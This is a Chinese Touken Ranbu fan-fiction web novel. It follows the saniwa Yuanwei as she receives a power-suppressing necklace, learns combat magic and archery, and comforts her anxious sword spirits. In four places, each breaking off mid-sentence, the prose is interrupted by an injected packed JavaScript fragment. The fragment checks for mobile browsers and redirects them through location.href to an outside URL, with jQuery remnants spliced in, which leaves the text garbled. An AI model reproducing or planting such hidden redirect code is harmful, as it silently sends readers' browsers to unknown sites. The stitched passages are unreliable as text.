“鸢尾大人,请坐。”来到会客室,鸢尾又见到了熟人——村口治。两人稍作寒暄,村口治就切入正题,“这次邀请您前来,是我们对您的灵力研究有了一些新进展……” …… “简而言之,就是我的身体在源源不断地吸收周围环境中的灵力,而这一体质特点是没办法改变的?”听村口治扯了半天专业术语和特殊数据,鸢尾一针见血地指出问题关键。 “是、是这样的,”村口治擦擦脑门上的汗,“不过请您放心,虽然没办法从您的体质入手进行根本改变,但是我们已经制造了一个可以抑制部分灵力进入您体内的装置。”说完,他从桌子的一个暗格中取出一条项链,“为了佩戴方便和隐蔽性考虑,我们做成了这种形式。” 鸢尾接过项链,饶有兴趣地观察着。这条项链很普通,只是一条黑色的绳子串着一颗圆润的天青色玉珠。拿在手中时,她确实能感觉到自己的身体不再那么疼痛,要说区别,大概就是从刺痛变成了钝痛?虽然还是会疼痛,但聊胜于无嘛。 用灵力快速探查了一遍,确认项链只是起到抑制过量灵力涌入的作用,而不会对灵力的使用造成问题后,鸢尾戴上了这个项链。黑色的细绳称得她的皮肤更像一捧冬日的雪,温润的玉珠乖巧地待在她的锁骨窝中。 看到鸢尾没有对这个项链产生什么排斥和不满,村口治也松了口气。“我们也会尽快研发能储存您的灵力的容器,通过抑制涌入和加快输出,您身体的疼痛应该也能慢慢缓解。在此之前,我们会给您安排灵力教学老师,待您进一步掌握灵力后,您也可以跟着付丧神们一起上战场,这样有助于您灵力的进一步释放……” 战况吃紧,时之政府鼓励所有能上战场的审神者们尽可能与付丧神一起战斗。尽管不指望审神者们能杀死多少时间溯行军,但减少了时空传送装置需要消耗的灵力,在战场上的审神者们能提供给杀敌的付丧神以更多的灵力;同时,待在战场上也有利于审神者们更好地观察战场情形,从而更好地发号施令。 当然,时之政府也只是鼓励,上不上战场还是听从审神者们的意愿,他们要是不愿意或者克服不了心理难关,时之政府也不能强迫他们上去。而且时之政府也会采取各种措施保护愿意跟随作战的审神者,毕竟在这样的战事情况下,审神者才是珍惜资源。 不过话说回来,不管是对时之政府还是对鸢尾本身,“跟随作战”总是利大于弊的。上层给他的任务之一就是尽量劝说鸢尾。毕竟当初他们千辛万苦去捞鸢尾的灵魂,也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623640|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼馋她的灵力嘛。现在捞回来了,当然希望能发挥鸢尾灵力的最大效用。 上战场…… “我会好好考虑的,今天也不早了,我就先回去了。”并没有留下确切的答案,鸢尾抱起狐之助准备离开。在上战场之前,她得先确保自己有足够的自保能力。不然,上了战场之后,不仅不会成为付丧神的助力,反而会成为他们的掣肘。 村口治:“好的,有新的消息我会再通知您,上课的时间在稍后会通过狐之助送达。”他也没打算一次就让鸢尾答应,反正鸢尾的学习时间还很长,他可以慢慢来。 —— “主公大人,您回来了!”守在庭院的前田第一个发现鸢尾并朝她跑去。在周围等待的其他刀们也朝传送装置围了过来。 “我回来了——大家怎么都在这里?”鸢尾蹲下来摸摸前田的妹妹头,惊讶地问道。 “因为大家都很担心主公大人呀!”见周围的刀们都不好意思说,今剑凑到鸢尾面前撒娇,“主公大人没有带刀,还走的那么匆忙,我们都好担心……” 鸢尾顿了一下,接着轻轻把围到前面来的小短刀们揽在一起,给了他们一个带着温暖馨香的拥抱。她没有体会过等待或是被等待的感觉,也是第一次感受到被担心的心情,原来是这样的吗?就好像她的心变成了一朵陷进去的棉花糖。 好温暖……被她抱住的小短刀们悄悄用脸蹭蹭她露在外面的皮肤,又趁鸢尾没发现偷偷地嗅了几口。 鸢尾挨个摸了摸他们的头,但也只有小短刀们有这样的待遇。对于大一点的打刀、太刀们,她也不好意思这样做,而且他们应该也不喜欢被摸头吧…… “辛苦大家等我啦,天色不早了,我们去吃饭吧。”鸢尾对大家嫣然一笑,拉着短刀们的手走在前面。 唉…… 总觉得听到了失望的叹气声呢——走在后面的大和守安定默默腹诽,说的就是你啊,加州清光。还有龟甲贞宗?为什么要露出那样的表情啊!不就是看天黑了主人看不太清吗! 不过…… 有点羡慕呢,能被那样爱着。真好啊,小短刀—— 由于鸢尾顺利锻出了烛台切光忠和歌仙兼定,所以今天晚上吃的是正常,甚至可以说是丰盛的一餐。悠闲地享用完晚餐后,大家都去帮忙洗碗和完成剩下的內番工作。 终于洗漱完了,大和守安定一边与加州清光拌嘴一边拉开寝室的门。 “啊!干嘛突然停下来啊,笨蛋安定!”加州清光揉着自己撞到安定后背的额头。 “嘿嘿。” ?干嘛发出这么奇怪的笑声。鬼上身了?清光奇怪地想。却看到安定快步走到屋内,拿起放在桌子上的御守。 “唉,你怎么知道主人今天给我送了御守?”他模仿今天上午清光的语气,朝他晃了晃手里绣有刀纹的蓝色御守。 “笨蛋安定!”青筋从加州清光额头蹦出,手里擦头发的毛巾被他扔向大和守安定。 感情真好啊……不远处送完剩下的御守路过的鸢尾听着他们的打闹声,由衷地感叹。 5. 学习与眼泪 从隔天起,鸢尾就正式开始了对灵力运用的学习。 负责教学的是时之政府的工作人员,代号辛黎。愿意上战场的审神者都得先在她这里进行一阶段的灵力技能学习,以确保至少在战场上能保护自己。 “那我们就先从防御盾的构建开始吧。”辛黎在纸上画出了一个法阵,“通过引导灵力按自己的意识绘出相对应的法阵图案,就能变换灵力的不同形态。我现在画的这个就是防御盾的法阵。你先试试看?” 鸢尾点点头,之前她从未有过系统性的学习,对灵力也只是凭感觉在运用。她记下法阵的样子,伸出手,掌心朝上——下一秒,淡金色的灵力在手上汇聚,编织出一面金色的光盾。 辛黎赞赏地看了她一眼。对于灵力运用而言,基础部分就是要让灵力跟随自己的心意而动,掌握了这一点,剩下的也不过是背背对应的法阵而已。可偏偏这最基本的部分也是最难的部分。就像猫和猫的尾巴是两种存在一样,审神者和自己的灵力也常常不太熟。所以在之前的教学中,她也遇到过死活不按主人的指引走、非要自己创出一条路来的灵力。鸢尾的灵力的听话程度,可以说得上是她所遇到过的所有审神者中最高的了。 “真不愧是鸢尾大人!”旁边的狐之助也与有荣焉地举起毛茸茸的前爪拍了拍。 鸢尾失笑,手轻轻聚拢,光盾便化作闪闪的金粉飘散空中。 辛黎:“看来你对灵力的掌握不错,那我们就可以加快一点进度了。” 这时候,鸢尾还没有意识到这句话的严重性。 —— 一个星期后。 “碰”,又一大摞砖头厚的书被叠到鸢尾的案头。捂着心口趴在桌子上休息的鸢尾睁开一只眼睛瞟了一眼,又疲惫地闭了回去。 “还有这么多吗?”她眯着眼睛问。 “这些可不是法阵,”把这些书从时之政府搬来的辛黎甩了甩发酸的手臂,“这是一些军事相关的书,你先看着,有不懂的过几天再来问我。” “跟随作战?” “嗯。”辛黎并未对鸢尾有所隐瞒,“最近时间溯行军那边又有异动,好像出现了一些新类型的敌人,时之政府派我们先去探探情况。” 经过一个星期的相处,她对鸢尾颇有好感。毕竟谁会不喜欢一个长得好看、学习能力又强、还肯下功夫的学生呢?从法阵到对各种刀的熟悉,鸢尾的领悟力很强,还会举一反三,很快就出师了。甚至在对法阵的运用上,辛黎觉得自己这个当老师的都快比不过了。只可惜她的身体实在虚弱,没有办法用刀。不过鸢尾倒是接受良好,转头就去学了射箭,现在的准头也不错。有一个喜欢用弓的主公,也不知道她的刀剑男士们什么感想……想到第一次看到鸢尾练习射箭时她的刀们的表情,辛黎就忍不住偷笑。 看到辛黎的表情,鸢尾就知道她在想什么。但这也没办法嘛,疼痛导致她无法进行过于强烈的运动,而弓箭不仅能在较远的距离使用,有效防止敌人近身,而且以灵力为箭,能有效消耗灵力,同时提高队伍的杀伤力……综合看下来,弓箭算是目前最适合她的武器了。 而自家的刀刀们,就只能自己慢慢安抚了。 “把这个带上吧,”见辛黎准备离开,鸢尾暂时把脑中安抚刀刀们的计划搁置,转而拿起放在桌角的一个御守。 “御守?我有了呀。”话是这么说,辛黎还是乖乖接过,仔细翻看御守,试图找出它的不凡之处。 鸢尾:“和万屋卖的不太一样,这里面有我的灵力,叠了我自己研究的法阵,戴着能吸收周围的灵力,算是一个增益道具?” “谢了,”听鸢尾的解释,辛黎也知道这个御守的好处。和鸢尾不一样,包括自己在内的审神者的灵力都是有限的,而且对灵力的吸收补充也比较缓慢。这样的御守,在需要大量使用灵力的战斗场合是一个很大的助力。 真是旱的旱死,涝的涝死啊……想到自己灵力用时方恨少和鸢尾无时无刻都因灵力过载而疼痛,辛黎也忍不住感慨。“回来再给你带特产——如果有的话。”辛黎摆摆手,向鸢尾道别。 目送辛黎离开,她自己也休息的差不多了。“去看看刀刀们吧”,鸢尾给窝在书堆里睡得正香的狐之助搭上自己的外套,向门外温暖的阳光走去。 —— “退,怎么一个人在这里?”踏出廊外,鸢尾就看见五虎退抱着一只小老虎梳毛,其他四只小老虎正懒洋洋地窝在一起打呼噜。不过说是梳毛,看他的眼神,更像是发呆时无意识的动作。 “啊,主、主公大人……”五虎退回过神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623641|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看到鸢尾在他旁边坐下。他们坐的很近,他抬头,撞进鸢尾含笑的、温和的眼眸中,好像看到一个小小的自己装在鸢尾蜜色的眼睛里,掉进她蜂蜜般的陷阱。 “怎么了?”见五虎退一直盯着她,鸢尾奇怪地问。 “啊,不,没什么的!”五虎退不好意思地低下头,加快了手上给小虎梳毛的速度。小老虎差点被弄醒,轻轻咬了一口他的食指,又迷迷糊糊睡去。 鸢尾也轻轻一笑,没有继续追问,伸出手帮五虎退安抚着小老虎,在它舒服的咕噜声中,状似无心地说道,“说起来,最近好像没怎么看到小孩子们在一起玩呢。” “嗯……”五虎退小小的手一顿,“因为,因为大家都比较忙……” 他的声音里带着一点不知所措。其实不是的,他想,他骗了主公大人,他是一个坏孩子。可是他也不知道该怎么说……说什么呢?说大家的担心吗?主公大人很厉害,把本丸的一切事情都安排的井井有条,在大家轮流当近侍的时候,他们也都听到过另一位审神者大人对主公大人的称赞。那时候,他们还可以安慰自己,没关系的,至少主公大人需要我们的保护。 可是后来……主公大人选择了用弓。他们偷偷去看过主公大人练习时候的情景,箭在主公大人手中也变得格外听话。那他们还能为主公大人做些什么呢?“刀”在主公大人的心中究竟是什么样的存在呢?但大家都是胆小鬼,没有人有勇气向主公大人问出这些…… 要听话,要做好所有能做的事,要向主公大人证明自己的价值……五虎退不知道其他刀是怎么想的,但是小短刀们都怀着这样的想法,没有了之前玩乐的心思,把自己浸在手合场里、战场上。 可是现在,面对主公大人温柔的关注,五虎退却眼睛发酸,一句话也说不出来。他低下头,不想让主公大人看到自己的怯懦。 “哎”,五虎退听见主公大人轻轻的叹息,眼泪忍不住顺着瘦削的脸颊滴在小虎雪白的毛上。他把头埋得更深,几乎埋进了什么都不知道的、正呼呼大睡的伴生兽上。他感觉自己的心好像一团揉皱的要被丢掉的纸,在一抽一抽地发痛。这样的自己,是不是让主公大人更失望了…… 但是没有,他落入了一个充满温暖的香味的怀抱。主公大人……抱住了他? 6. 事故与故事 看到五虎退的泪水,鸢尾一时也愣住了。在大家不清楚她身体条件的情况下,鸢尾也明白,她选择练弓这件事势必会对大家造成一点打击。但她没有料到大家的反应会这么大—— 她叹了一口气,温和的目光怜惜地落在五虎退的身上。从口袋中拿出随身携带的手帕,鸢尾把小虎从五虎退的膝上挪到它的兄弟那里安睡,又把五虎退抱入怀中,轻轻拭去他晶莹的泪水。 “不是你想的那样,退。”她安抚地拍着五虎退的背,对他慢慢解释道,“选择用弓而不是用刀,并不意味着我对你们的不满,或是认为刀不如弓有用。对于我而言,刀也好弓也好,都是武具,不同的只是我与大家的羁绊罢了。我的灵力与你们联结,在我的心中,你们已经不仅仅是我的‘刀’了,更是我的朋友,我的家人,我所想要保护的对象。” “就像现在这样,我会因为你的泪水而心疼,却不会因为我射出去而无法再捡回来的箭矢而难过,”鸢尾捧住五虎退因为哭泣而染上红晕的脸,望进他金色朦胧的眸中,“退,现在你能感受到我的心了吗?” 主公大人……怎么会知道?五虎退呆呆地看着鸢尾,又想起刚刚鸢尾对他说的那些话,庆幸、开心、疑惑还有愧疚……信息量太大,他心中五味杂陈,一时竟不知要作何反应。 被五虎退小木头人一样的反应逗笑,鸢尾忍不住又把他的头摁到自己怀里。“好了,不用去想那么多,退只需要记住,无论如何,我都会永远爱惜你们,这就够了。” 说完,又突然补充了一句,“这几天退很努力,我已经看到了。好好休息吧,好宝宝……” 好、好宝宝?五虎退原本慢慢恢复白皙的脸又被鸢尾的这个称呼弄得通红。他羞涩地想,这是什么意思呢?主公大人是在夸他是个好孩子吗?可是主公大人又叫他宝宝,还把他抱在怀里,这么温柔的安慰他……在胡思乱想中,伴随着鸢尾轻柔的摸头,还有廊上掠过的温暖的微风,五虎退渐渐坠入黑甜的梦乡。真好啊……最后一缕意识陷入沉睡前,五虎退庆幸地想,能遇到这样的主公大人,真的好幸运…… 感受到怀里的小孩子渐渐睡沉了,鸢尾也放轻了自己的动作。她侧过头,放低声音,对着转角呼唤道,“药研?” “哟,大将。”没想到会被发现,药研诧异了一下,但也很快朝鸢尾走去。他绕过小老虎们,坐在原来五虎退的位置,看到他的兄弟埋在鸢尾怀里睡得正香,无奈地笑笑,“还是小孩子啊……需要我帮忙把他抱到屋子里去吗,大将?” “不用了,退也很轻。”鸢尾看着旁边明明是和小短刀们一样的身形,却显得格外成熟稳重的药研,好奇地问道,“那么,药研是怎么看的呢,对于我和退刚刚讲的话题?” “看法么?”药研藤四郎转过头,盯着一朵悠闲地从上方飘过的白云,“只要提高实力,能帮得上大将就好了。刀或者是弓,其实也无所谓吧。只有能保护大将的,才是有用的。” “这是作为刀的药研藤四郎的看法吧?我想听的是作为我的本丸的、独一无二的药研,他所想的。” 被一针见血的指出自己的私心,药研也不禁叹了口气。“还真是不肯放过我啊,大将。……想向你证明自己的价值,大概这样的。这也是本丸里大家的想法吧。”想到最近手合场还有战场上大家憋了一口气的样子,还有连带着热闹起来的手入室,冷静如他也不得不为此感到头疼了。这群家伙,就是趁着大将忙于学习,出现在天守阁外的频率没那么高了,才敢这样乱来的吧…… 听到药研的坦白,鸢尾也开始默默反思。连药研这样沉稳的刀都有这么大的反应,更别说其他心思更敏感细腻的一些刀了。身为一座本丸的领导者,在本丸建立之初,她不想因为自己的身体而让大家分神。要让刀剑能在战场上毫无顾忌地战斗,就要让本丸成为他们背后坚如磐石的依靠。至少在自己可以跟随作战之前,她不会向大家透露自己的身体状况。但是她确实低估了自己对刀刀们的影响,现在这样,大家好像也不能安心地作战呢……看来正式地向大家解释一下还是很有必要的。 说做就做。 鸢尾:“药研,现在这个时间段远征的人应该已经回来了吧?麻烦你把大家召集一下,就在大广间,我有事要通知。” 药研:“是。”虽然不知道大将突然想通了什么,可是只要照做就可以了。他这样想着,刚站起来准备去行动,又被叫住了。 “等一下,”鸢尾示意他向睡成一团的小老虎们看去,“先帮我把退和小老虎们送回去吧。” —— “所以说,主公是有什么事啊?”今天刚显现,刚刚还在畑当番的陆奥守吉行匆匆忙忙赶来,带着脸上两道没擦干净的灰。 “不知道啊……”加州清光低头摆弄自己的指甲,“真是的,最近一直在战斗,指甲花了都没发现……”他越说越小声,最后的声音都淹没在大广间众人的交谈声里了。陆奥守吉行没听清,刚探过身准备再仔细问问他说了什么,就被不知道谁喊的一声“主公大人来了”给打断了。 大家都安静下来,在自己的位置上坐好,视线跟随着从门口走进来的鸢尾移动,把旁边跟着的药研忽视了个遍。 看着大家热切的目光和一致的动作,在上方落座的鸢尾不知道为什么幻视了她曾经在书上看到过的、据说会跟着太阳移动方向的向日葵。她有点想笑,但想到这是一个严肃的场合,又默默忍住了。 “咳,”她清了清嗓子,看着大家也跟着紧张的咽了一口唾沫,与旁边的药研对视了一眼,还是忍不住低头无奈地笑了。“不用这么紧张,大家。虽然这是第一次把大家统一聚集起来,但我要说的也不是什么生死存亡的大事。大家可以轻松一点,就像我们平时正常的交谈一样就可以了。” “我想做的,是解释一下关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623642|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于最近大家对我选择练弓这样一件事情的困惑。” 话音刚落,鸢尾就看见大家的眼光更热烈了。有些人还偷偷用眼神和药研交流,想知道是谁和鸢尾提的这件事。其实关于这件事,大家的统一态度还是不去打扰鸢尾。在他们看来,无法留住主人,导致主人选了别的兵器,这是他们能力的不足;他们要做且能做的就是努力让主人也看到自己的价值,而不是去阻碍主人的选择。所以无论是五虎退也好,药研藤四郎也好,在谈话中都尽量避免了这个话题——虽然还是一眼就被鸢尾看穿了。 鸢尾:“不用看了,是我自己发现的。你们真的以为我没有发现最近手入室排队的刀越来越多?” “刀或者是弓,在我看来,只要能杀敌就是一件趁手的武器。可是对于我,你们不只是武器,更是我想要一起作战的对象、想要保护的对象。你们呢?只是想作为一件武器而存在,还是在我的本丸中创造属于自己的故事?我想,选择权都在你们的手上。”说完,鸢尾略一颔首,就离开了大广间,把思考的时间留给他们。 “什么意思?咱怎么听不太懂啊?”不明白前因后果的陆奥守吉行挠着自己的头,又去问一旁的加州清光。 “创造属于自己的故事……”加州清光喃喃道,“主人,是我想的这个意思吗?” 陆奥守:“什么,到底什么意思你倒是告诉咱呀?” “对于新刀而言,说了你也不会懂的。”想明白了鸢尾的意思,清光的心就像雨过后的天空一样明朗轻快,“这可是专属于我们和主人的故事!”说完,又急急忙忙跑回房间不知道干什么去了。 ?所以呢,有人,或者有刀理理咱吗?吃了来得晚的亏,陆奥守看着周围或豁然开朗,或还在沉思的同伴,摸不着头脑地摸了摸自己的头脑。 —— “加州清光,可以进来吗?”提着一盏小灯,加州清光站在鸢尾卧房外问道。 “请进。”声音隔着门传出,透着晚上特有的安宁的感觉。 加州清光握紧了手里专门带来的鲜红色指甲油,深吸一口气,拉开门。 加州清光:“主人,你可不可以帮我……” 加州清光:……可恶,为什么会有这么多人? 他看着窝在鸢尾怀里共读一本故事书的信浓藤四郎,正端着夜宵放到桌上的烛台切光忠,抱着枕头坐在旁边不知道为什么一脸潮红(?)的龟甲贞宗,还有在鸢尾的床上睡得正香的五虎退、乱藤四郎…… “你不进去吗?”头一转,穿着睡衣的药研藤四郎先他一步走了进去,语气自然地向他打招呼,“你不进来的话我就关门了。”说着就要拉上门。 加州清光抵住门,“等等,我没说不进来!”他发挥最大机动在药研关门之前溜了进去,“主人,我想让你帮我涂指甲油,拜托了!” 不管了,人多就多吧,反正一定要有他的一份! 7. 柿子与柠檬 自从那天鸢尾在大广间把话说开之后,听得懂的刀刀们就放下心来,听不懂的刀虽然不知道发生了什么,但看到同伴们重整旗鼓的样子,也跟着松了口气。 日子就像本丸天空中悠闲自在的云一样,偷偷飘过,让人毫无察觉。万叶樱的花瓣依旧纷纷扬扬地洒落一地,远远望去,像在本丸下了一场粉色的雪。 “宗三左文字,你也想让天下之王的象征来陪侍你吗?”*一位粉发异瞳的男子从刀中显现,略带哀怨地对面前之人问道。 “宗三?太好了,小夜等你很久了。”看到宗三的到来,鸢尾由衷感到高兴。虽然小孩子们很少对她提起,但偶尔,她也能从他们的眼神中、从他们无意识的小动作里感受到他们对自己哥哥们的想念。 “小夜……”听到这个名字,宗三才终于显露了一丝喜悦。 鸢尾:“走吧,我先带你见见小夜,你们再去本丸逛逛。”说完,她示意宗三跟上,带他往小夜的部屋走去。 身后的宗三看着她瘦削的背影,一双总带着点忧郁的异瞳中闪过一丝不明的情绪。 —— “小夜,我可以进来吗?” “唰啦”一声,门很快被一双瘦小但有力的手拉开。 “主公大人。”小夜左文字穿着内番服,头发没来得及扎起,带着点婴儿肥的脸上还有一道红痕,应该是刚刚睡醒。鸢尾忍不住捏了捏他糯米糍一样的脸,看他诧异地微微睁大眼睛,下意识愣愣地用手捂住被她捏过的地方,忍俊不禁。 “看,是谁来了——”过完了手瘾,不好意思再继续逗他,鸢尾微微侧身,让小夜更清楚地看到站在她身后的哥哥。 “宗三哥哥……” “小夜。”兄弟重逢,但二人都不是会表达出强烈情绪的性子,因此宗三也只是走上前,用手轻轻梳了梳小夜毛茸茸的头发。小夜应该也很开心,鸢尾能从他微微眯起来的眸中读出他的喜悦。 “小夜,那就拜托你待会带宗三逛逛本丸了。”鸢尾蹲下来,顺手拿过小夜手里的发绳,熟练地帮他把头发扎起来,顺便打了个蝴蝶结,一边对他叮嘱道,“记得吃完早饭再去。”说完便打算离开。 “请等一下,主公大人。”小夜左文字拉住她的袖角,转身飞快地从屋内拿出来一个红透了的柿子,“这个……是我们昨天在后山发现的。我想送给主公大人……”虽然最后那一句话很小声,但鸢尾还是听到了。她蜜色眼睛里的喜悦像蜂蜜一样甜,小心地接过散发着甜香的柿子,珍重地捧在手中,像他们道别。 鸢尾的衣角翻飞,一缕蜂蜜般的香味是从人的身上、还是从柿子上随风飘散呢? —— “长谷部,主人找你。”今日的近侍巴形薙刀向刚远征回来的压切长谷部传达鸢尾的命令。 “主人的命令?我立刻过去。”听到是主人在找自己,长谷部放下刚刚准备更换的衣物就要出发。 巴形抬手按住了他的肩。 “换好衣服再过去。”他收回手,抵了抵自己的单边眼镜,“不经意”地透露出自己对鸢尾的了解,“按照主人的习惯,如果没有说要立刻过去,一般都会留给我们十分钟的时间准备。你现在过去会打扰主人。” 可恶……长谷部默默攥紧拳头。对于这个本丸而言,他来的算是比较晚的,所以对于自己新主人的了解程度,他现在还远远比不上早就显形的刀。 没事,他告诉自己。通过这段时间的观察,他明白鸢尾是一个知人善任的人,除了对小孩体型的短刀们,她不会对谁展现出明显的偏爱。只要有足够多的时间,他确信自己可以成为她的左膀右臂。至于这个巴形……长谷部淡紫色的眼眸与巴形红色的眼眸相撞,双方又纷纷嫌弃地移开。不过是比自己早来了几天而已——主人的习惯,自己会比他记得更牢!长谷部暗自盘算着什么时候去万屋买个本子,专门用来记录鸢尾的喜好习惯…… 巴形薙刀:“命令已经传到,我就先回主人身边了。” 压切长谷部:“……不送。”走就走了,还要故意提一句主人!近侍按照显现顺序三天一换,怎么,难道他觉得自己可以当一辈子吗?长谷部愤愤地关上了门,待会要见主人,他一定要拿出最好的状态! …… “我回来了,主人。”巴形回到鸢尾身边复命,安静地待在她的身后。 明明身形很高大,但有时候却总忍不住拿出对待小孩子的态度对他呢……感受到来自身后的目光,鸢尾无奈地想道。她能感受到巴形对她的依赖,在她心中,巴形就好像一只刚学会飞的小鸟,总是试探着、想要依偎在她身边。她劝自己要让他学会独立,去认识更多的人,去见识更广阔的世界, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623643|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又有点担心他会不会受伤,会不会觉得自己被冷落了……总之,是很复杂的心情呢。 而此时,背后的巴形也在想着关于鸢尾的事。他在鸢尾的斜后方,身高的优势让他能很轻松地看到鸢尾的表情,注意到她的需求。他盯着鸢尾略带病气的脸,浓密的鸦青色羽睫,英气的鼻梁和淡色的唇。 脆弱,苍白,但又掩盖不住生机。巴形想,不像鸢尾,但是很像他的部屋门口、一朵盛开在浓浓夜色中的茉莉花。 茉莉花是鸢尾种下来的。她好像很喜欢那些花草,鸢尾、茉莉、丁香……她把它们的种子随机种在了本丸的各处,恰好在他门口留下几从茉莉花。一天夜里,他循着香味发现了它们。皎洁的月色把茉莉花的花瓣照得洁白而轻盈,仿佛能透过花瓣看清其中白而透的花脉。 是物似主人吗?巴形觉得它们和她很像,脆弱得仿佛下一秒就要消散,但又要顽强地尽情向世界展现自己的生命力。……所以本丸里的大家才会这么放心不下吧。不过没关系,巴形薙刀垂下眸子,作为无铭亦无传说的巴形的集合体,他会守护好主人,然后待在她的身边,看她创造属于自己的故事。到时候,她的故事里会出现他吗…… “咚咚”,两声敲门声打断了他的思绪。 “压切长谷部。主人,请问我可以进来吗?” “请进。”鸢尾从文件中抬起头回应。长谷部走了进来,巴形听到鸢尾让他在案前坐下,只看了他一眼,就不感兴趣的移开目光,依旧盯着鸢尾的背影。 鸢尾开门见山,“我想问问第四部队昨天在战场上的情况。听说你们遇到了和之前不一样的敌人?” “是的。”提起这件事,长谷部的脸上划过一丝凝重。昨天他作为第四部队的队长,在交战基本结束后,与同队的秋田、前田一起追击一个落单的时间溯行军。追至村庄,时间溯行军却失去了踪影。当他们深入探查时,才发现时间溯行军竟然伪装的与村民无异,隐蔽在人群中,差点重伤秋田。 可以变得像人一样的时间溯行军……这是他们之前从未遇到过的情况。 听罢,鸢尾也陷入沉思。她想起了之前辛黎与她提起过的所谓“新的”时间溯行军,不知道会不会是同一种呢—— “鸢尾大人,时之政府的通知来了!”狐之助把门推开一条缝,急急忙忙溜了进来。 8. 化蝶与入梦 狐之助跳到案上,用前爪拨弄了一下自己脖子上挂着的铃铛,时之政府的通知投影到案上。 由狐之助投影出来的通知是只有审神者能看得到的。巴形与长谷部只看到鸢尾皱着眉头读完了信,抱起狐之助,对他们留下一句“我去一趟时之政府,很快回来”就匆忙离开了天守阁。 而他们只能皱紧眉头,担忧地望向鸢尾离开的地方。 想要尽快成长起来,想要为主人分忧,哪怕是一点也好……而不是像现在这样,只能徒劳地看着她离开。这样的想法再一次涌上他们的心。屋内一片寂静,他们对视一眼,都从对方眼里看出一样的想法。 “我先走了。”长谷部率先打破屋内的寂静。他朝手合场的方向走去,这个时候,即便是显现不久的他也明白为什么手合场里每天都那么热闹了。 而巴形则坐回案后,替鸢尾处理着还未解决完的公务。 —— “这次还多亏了有你送我的御守,要不然我的灵力可能还支撑不到援军到来的时候。”辛黎躺在病床上,虽然脸色苍白,精神却很好,“等我好了,可要好好报答你。” “还说呢,”鸢尾替她掖好被子,“你要真想报答我,就好好养伤,赶紧好起来。” 辛黎讪讪一笑,赶紧转移话题,“说起来,虽然不想承认,时间溯行军也变得越来越棘手了啊……” 鸢尾:“是啊,对战了这么久,我们都在不断进步,时间溯行军也不可能一点发展也没有——我已经听村口说了,你们这次也遇到了能伪装成人的时间溯行军?” “也?平时作战的战场也出现了吗?”说到正事,辛黎的神色也变得严肃起来,“不过,并不是时间溯行军伪装成了人,而是他们附身在真正的人的身上。” “附身?” “利用人的欲望或渴望,在心理防线最脆弱的时候趁虚而入……根据目前探查到的信息,大概是这样的。不过我倒是没想到,在平时的战场上也会有这样的敌人——接下来,恐怕又有一场恶战要打了。……啊!” 鸢尾收回弹了她脑门一下的手,“你现在要做的是好好养伤,这些就交给我们还活蹦乱跳的人去想就好了。”给她留下几个聚灵御守,又拜托了相关医护人员,鸢尾为了不打扰她休息就先离开了。 “鸢尾大人,我们有事相商。”刚踏出门外,村口治已经等候多时。 —— “嗝,难道因为我是个废刀,所以就要打发我来照顾马吗!”不动行光灌了一大口甘酒,不快地扔掉另一只手里的扫帚,随意地用袖口擦了擦嘴角的酒液。 “啊……不动,再不快点干活的话,要是被主公发现了,之后几天还得我们俩做哦。”之前因为和兄弟玩得太开心而忘记当番,结果十分不巧的被鸢尾撞见的鲶尾藤四郎好心地劝道。虽然主公是个非常温柔的人,可对逃番的刀却是毫不容忍呢……想到鸢尾笑眯眯地罚了他和骨嗗扫了五天马厩,还每天都抽出时间亲自盯着他们,鲶尾藤四郎就忍不住打了个哆嗦。 “哈,我才不怕呢。反正我也只是个什么事情都做不好的废刀,她本来就对我没有什么期待吧!”酒意上头,不动行光一口接一口地往嘴里灌着酒,含糊不清地嘟囔。那个女人,他的新主人,总是用一双温柔的眼睛注视着他,好像什么都懂、好像什么都不在意——他这样的废刀,有什么用,为什么要这么包容他…… 